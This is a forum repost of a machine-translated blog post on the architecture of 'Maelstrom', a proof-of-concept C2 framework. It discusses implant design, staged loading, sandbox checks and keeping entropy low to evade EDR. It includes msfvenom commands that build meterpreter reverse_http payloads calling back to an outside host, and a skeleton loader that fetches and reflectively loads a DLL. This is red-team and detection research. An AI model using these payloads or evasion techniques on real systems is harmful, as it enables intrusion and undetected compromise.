首页
社区
课程
招聘
[翻译]漩涡#2:C2架构
发表于: 2023-8-22 11:19 9474

[翻译]漩涡#2:C2架构

2023-8-22 11:19
9474

原文标题:Maelstrom #2: The C2 Architecture
原文地址:
https://pre.empt.blog/2023/maelstrom-2-the-c2-architecture
由于作者博客迁移的原因,原文中的图片已经失效,我在archive中找到了别人保存下来的网页:https://web.archive.org/web/20221126183000/https://pre.empt.dev/posts/maelstrom-arch-episode-1/
本文由本人用chatgbt翻译而成,Maelstrom是一个概念验证的命令与控制框架,具有Python后端和C++植入程序。

在本文中,我们将讨论编写C2时涉及的一些架构决策。在本系列的第一篇中,我们将探讨用于植入器(implant)所需的决策,并在编写相应的概念验证C2时进行探索。作为一个没有酷炫名称就不是真正的C2,我们给这个示范性的C2取名为"Maelstrom"。我们还将引用一个更完整的私有C2,名为"Vulpes",以说明本系列中所用的概念验证C2与实际操作C2之间的差异。
这篇文章将涵盖以下内容:

不要惊慌!我们这里只是设计植入程序 - 我们将在以后的文章中涵盖实施和技术!在这篇博客中,我们将讨论关于植入程序设计的决策。

恶意软件只是具有恶意意图的软件,行为不端并不意味着代码本身不能编写得很好,也绝对不意味着代码是无错误的!在逆向恶意软件样本时,许多恶意软件往往架构不佳、编写不良。例如,它们可能使用不安全的行为来管理其代码,留下明显的妥协指标,甚至通过内存泄漏和其他错误对目标设备的性能产生负面影响。所有这些都会使植入程序更加显眼,从而降低其安全性。
当您编写一个长时间运行的植入程序时,需要适当处理诸如内存泄漏之类的问题 - 即使您已经绕过了EDR(终端检测与响应),未解释的崩溃也会被注意到。对于这个问题有很多解决方案,但在"Maelstrom"和"Vulpes"中,我们使用的最简单的方法是保持代码的面向对象(Object Oriented)特性。这提供了结构和对特定功能的标准化,使资源管理变得更加容易。

正如我们刚刚讨论的,对象使代码更易管理,并且通过简化内存中对象的创建和删除,可以提高植入程序的安全性。

这是来自"Vulpes"的伪代码示例:

以上示例是一个处理使用公共语言运行时 (CLR) 执行 .NET 的类。当类被实例化时,CLR 也被初始化。然后,当函数返回时,析构函数被调用,导致执行 CleanupCLR()
这直接引入了下一个主题:资源获取即初始化(Resource Acquisition Is Initialization,RAII)

资源获取即初始化或RAII是一种C++编程技术,它将必须在使用前获取的资源的生命周期与对象的生命周期绑定在一起。

通过这些简单的概念,我们可以减少可能引入的人为错误,因为我们不需要每次执行操作时都调用函数。通过在构造和析构时隐式处理对象,减少了遗忘对象在内存中残留的可能性。对于一个植入程序来说,这非常重要,因为被遗忘的对象是另一个潜在的入侵指示器(IoC),因此通过确保对象在使用后被正确完全地移除,我们的植入程序变得更加安全,甚至可能减少蓝屏的发生!

远离具体的编程概念,当考虑植入器的语言时,我们还应考虑植入器的目标。设计模式在这方面非常有帮助。通过明确我们的意图,我们能更容易做出决策。作为额外的好处,如果这是一个商业化的C2,如果需要的话,管理层对你的意图进行批准将在日后提供出色的自我保护(CYA)效果。
有很多设计模式可供选择,但我们选择使用MoSCoW方法,因为它相对简单且易于转化为GitHub的标签和里程碑。

术语"MoSCoW"本身是一个缩写词,由四个优先级分类的首字母(或近似字母)组成:M - 必须有,S - 应该有,C - 可以有,W - 不会有。

对于C2系统而言,MoSCoW方法特别有用,因为功能(以及潜在功能)可能变得非常庞大。例如,对于C2系统的使用场景来说,具有非常安全的睡眠方法可能非常重要(必须有)。而勒索软件模拟可能很酷,但完全超出范围且非常耗时(不会有)。植入程序、通信渠道和服务器都可能具备大量功能,但在有限的时间和精力下,不可能全部实现!当有一个功能的想法出现时,请牢记这个模型。如果在早期实施并始终坚持下去,它将为您节省大量时间和麻烦。
通过坚持已知的标准、开发风格和模式,C2系统能够获得与其他软件一样的好处。重要的是,由于植入程序需要在隔离环境中运行,因此在任务中很少有调试的机会!

正如我们在本系列中多次提到的,我们不会构建一个庞大而完全功能的C2系统。由于我们专注于主机上的植入程序检测,因此我们将较少讨论服务器的具体细节。
在这里,我们使用的示例服务器本质上并不重要,因为它只是用户界面。在真实的C2中,决策如文本用户界面与厚客户端、Web浏览器之间的选择要重要得多,因为虽然它们不会影响C2的操作,但会影响用户体验。C2被设计为提升生活质量的工具,因此美感和氛围是重要的,并应该予以考虑。但是,在这方面花费的时间并不会提高C2对抗EDR(终端检测与响应)的机会!在这种情况下,Maelstrom是一个简单的Python工具-易于编写且本身跨平台,我们只需要一个简单的API来接收示例请求。在一个功能齐全的C2中,支持更详细的操作和潜在的多个并发用户,当然需要更多的时间来开发此部分。
考虑到这一点,让我们来看看我们的植入程序选项!

有许多可用的编程语言,以下是一些经常出现且值得考虑的例子:
C/C++:可能是最常见的选择(例如BruteRatelNighthawkVulpesHavoc
C#:对于那些已经习惯于PowerShell工作流程的人来说,可能是最容易上手的语言①(例如SharpC2
Go:另一个选择,静态检测更加困难,但可执行文件体积很大(例如Sliver
Nim:这也是一个不错的选择,但是目前还没有看到太多使用它编写的攻击工具(例如Nimplant
Rust:类似于Nim,这门语言本身非常有趣,但目前社区规模较小(例如Offensive Rust
当然,除非你的尊严阻止你这样做,否则你可以使用Java、PHP或任何其他语言来编写C2系统。
在选择使用哪种编程语言时,我们需要考虑以下几个因素:

对于Vulpes C2的植入程序,mez-0选择了C++,原因如下:

我们的示例C2系统——Maelstrom,将使用C语言编写,原因如下:

在确定我们想要实现的目标和编写方式的基础上,我们还应考虑我们想要实现的行为以及如何定义和控制它。为了使C2在不同环境中可操作,植入器需要具备兼容性。最终,无论是否进行配置,诸如服务器地址之类的值都需要存储在某个地方,如果这些值对EDR来说不容易访问,我们的操作安全性就会得到提高。
大多数C2都会至少包含一种指定目标平台和架构的方式,并通常还包括更高级配置选项,例如定义内存分配方式、信标隐藏存在的时间和方式以及其他配置选项,以提高其效果和操作安全性。我们需要一种安全地存储配置的方式,使得植入器可以访问和更新配置,而不是每次更改设置都需要重新编译和重新发送硬编码的植入器。
Cobalt Strike使用Malleable PE、进程注入和后期利用等技术来实现这一点。它的配置存储在.data节中(对象文件中存储静态变量的部分),并通过与4字节密钥进行轻度混淆的XOR操作。虽然这使得配置对信标来说很容易获取,但也意味着目标机器可以轻松提取配置②。
另一个选择是将配置文件嵌入到另一个节(例如.rsrc3③)中,但如果研究人员能够获取可移植可执行文件(PE)④,这种方法很可能会遇到相同的问题。
我们在下一部分将讨论的执行路径为此添加了更多层次,使得难以访问实际的植入程序。再次强调,我们并不打算提供一个功能良好的C2,我们只是希望讨论和确保这些想法被知晓,因此我们不会在发布版本的C2中实际实现这个功能。

在所有C2的植入程序中,无论是Metasploit还是其他工具,对于植入程序是分阶段还是单阶段的选择都是必须做出的决策。这个决策很简单:是一开始就包含所有潜在内容,还是分阶段提供。单阶段会导致初始下载的文件较大,可能会包含一些从未使用的内容,从而产生威胁指标。相反,无阶段的负载可能会降低被发现的机会,但需要在外部托管更多的内容,并进行请求。就像Cobalt Strike一样,如果使用分阶段负载,任何人都可以请求完整的信标,因此也能够获取配置信息。但是,我们认为,如果正确实施,分阶段的方法仍然值得考虑。
然而,Vulpes利用了这种分阶段的方法,同时还使用了单独加密的C2连接详细信息,完整的配置在运行时下载。采用这种方法,防御者不仅需要找到C2身份验证信息,还需要匹配所有正确的密钥信息才能解密。如果成功完成这些步骤,他们还需要从内存中提取植入程序(该植入程序也经过掩码和混淆处理,稍后会详细介绍)。

现在我们可以计划如何运行我们的植入程序。植入程序可以立即调用C2服务器并请求命令,就像经典的nc或PowerShell反向shell一样。但无法保证这不会被检测到,或者植入程序是否被打开在错误的位置(例如,被打开在目标用户的家用计算机上)。
在植入程序最初运行和能够安全地从服务器运行命令之间,有几个步骤需要完成。我们需要考虑我们是否真的在受害者的计算机上(而不是被困在防病毒沙盒中,例如),植入程序本身是否能够运行,并且是否需要获取进一步的代码和命令。
以下步骤代表一个可接受的最低要求:

安全地获取代码,然后进行攻击。

在检索和运行任何代码之前,植入程序首先确保操作的安全性和正确性。这意味着:

确实,这些步骤并非必须发生,只是在审查其他恶意软件和植入程序的行为后我们认为这是最佳实践。
值得注意的是,为了使这些步骤生效,植入程序的可执行文件必须在磁盘上。在实际场景中,植入程序的阶段0代码应该根据需要进行调整:

通过这样做,阶段0的加载功能可以返回并顺利退出。这将使整个流程正确进行。但是,目前我们将继续使用加载器,因为它更容易进行调试。

密码学是数学的一部分,这也是生活中大多数事情变得复杂的原因。出于这个原因,我们在这里不会详细展开,但从高层次上来说,应该包括并可配置密码学。EDR系统可以评估可执行文件的熵 - 一个大的加密块看起来比通常的代码更随机,这意味着植入程序又回到了看起来像IOC的状态。这并不意味着数据最好保持明文 - 我们不希望我们的植入程序及其配置被任何过程读取,并且我们特别希望确保EDR系统无法作弊,只需添加一个静态签名即可检测到植入程序。
让我们通过生成三个示例的Metasploit植入程序来测试加密的熵 - 一个使用XOR编码,一个使用RC4“加密”,最后一个使用AES256加密:

我们可以使用ent工具来检查每个文件的熵值:

这将产生以下结果:

对于使用AES256加密的打包PE文件,熵值为7.98。而使用XOR编码和RC4加密的熵值分别为1.5和1.3。一般而言,一个经验法则是将静态文件的熵值保持在5以下,但具体取决于设计需求。然而,无论在何处传输数据,特别是客户信息时,务必确保使用AES256加密。此外,还应该明确指出,为了防止流量被窃取,应启用SSL来加密通信。
最后,我们需要管理植入程序如何访问服务器。不仅仅是用于分阶段操作,还包括管理发送更新和响应、接收命令的过程。植入程序应包括一种与C2服务器进行身份验证的方式,而C2服务器应能够接收来自植入程序的通信。

C2服务器应自然地具备某种身份验证方式,我们不希望将分阶段提供给任何客户。此外,我们还希望确保我们的服务器在互联网上不容易被发现,以免暴露我们的身份,同时确保植入程序的响应能够正确地发送到指定位置。
由于Maelstrom是一个简单的概念验证(POC),我们不希望将一个可操作的C2服务器发布到互联网上,因此它使用了一个硬编码的头部用于身份验证:

显然,这个头部应该是完全动态的,可以放置在请求的任何位置。当然,一个生产级的C2服务器不应依赖于可预测的静态凭据。但对于概念验证,我们将保持原样。

由于我们只是制作一个简单的概念验证(POC)C2服务器,我们将选择简单的方法,搭建一个Python Flask服务器。通过使用API,只要植入程序知道端点(我们将在其配置中定义),我们就可以以结构化的方式接收数据,并在需要时协调多个植入程序和用户。
因此,植入程序将处理以下内容:

考虑使用多个API端点,设置可能如下:

显然,这些名称不会完全相同,但这只是一个概述。通过分割请求和URI,使得很难确定是否实际上是一个C2服务器。如果有1000个请求发送到http://127.0.0.1/IMPLANT ,那可能是一个受到威胁的情况,但是对不同页面的多个请求应该能够与背景混合在一起。

这篇文章可能有点啰嗦,但系列的第一篇或前两篇文章通常会如此。我们试图在深入介绍代码之前,先设定场景,并解释我们以某种特定方式进行设置的原因和目的。
因此,在这篇博客中,我们已经确定了服务器和植入程序的编程语言,制定了执行计划,并讨论了一些加密和强化安全的方案。下一篇博客将详细介绍植入程序的设计!

Marcello Salvati: IronPython OMFG and Empire
Sentinel-One/CobaltStrikeParser
Nozomi Networks Labs: BlackMatter Ransomware Technical Analysis and Tools from Nozomi Networks Labs
BlackBerry Threat Vector Blog: Threat Spotlight: MenusPass/QuasarRAT Backdoor

class CLR
{
    CLR(std::vector<BYTE> assembly, std::vector<std::string> args)
    {
        _assembly = assembly;
        _args = args;
        InitCLR();
    }
    ~CLR()
    {
        CleanupCLR();
    }
    public:
        BOOL Execute()
        {
            // Execute .NET   
        }
    private:
        std::vector<BYTE> _assembly;
        std::vector<std::string> _args;
}
class CLR
{
    CLR(std::vector<BYTE> assembly, std::vector<std::string> args)
    {
        _assembly = assembly;
        _args = args;
        InitCLR();
    }
    ~CLR()
    {
        CleanupCLR();
    }
    public:
        BOOL Execute()
        {
            // Execute .NET   
        }
    private:
        std::vector<BYTE> _assembly;
        std::vector<std::string> _args;
}
int main()
{
    if(run_stage0_checks() == FALSE)
    {
        return 0;
    }
    unsigned char* buf = GetDLLFromServer();
    if(buf == NULL)
    {
        return 0;
    }
    LoadReflectiveDll(buf);
    return 0;
}
int main()
{
    if(run_stage0_checks() == FALSE)
    {
        return 0;
    }
    unsigned char* buf = GetDLLFromServer();
    if(buf == NULL)
    {
        return 0;
    }
    LoadReflectiveDll(buf);
    return 0;
}
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.xor.exe --encrypt xor
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.rc4.exe --encrypt rc4
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.aes256.exe --encrypt aes256
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.xor.exe --encrypt xor
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.rc4.exe --encrypt rc4
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=10.10.11.205 LPORT=443 -f exe -o msf.aes256.exe --encrypt aes256
#/bin/bash
for i in $(ls | grep exe); do
    echo $i
    ent $i | grep Entropy
    echo
done
#/bin/bash
for i in $(ls | grep exe); do
    echo $i
    ent $i | grep Entropy
    echo
done
msf.aes256.exe
Entropy = 7.988997 bits per byte.
 
msf.rc4.exe
Entropy = 1.513441 bits per byte.
 
msf.xor.exe
Entropy = 1.384678 bits per byte.。
msf.aes256.exe
Entropy = 7.988997 bits per byte.
 
msf.rc4.exe
Entropy = 1.513441 bits per byte.
 
msf.xor.exe
Entropy = 1.384678 bits per byte.。
X-MAELSTROM:Password1
X-MAELSTROM:Password1
curl http://127.0.0.1/staging

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//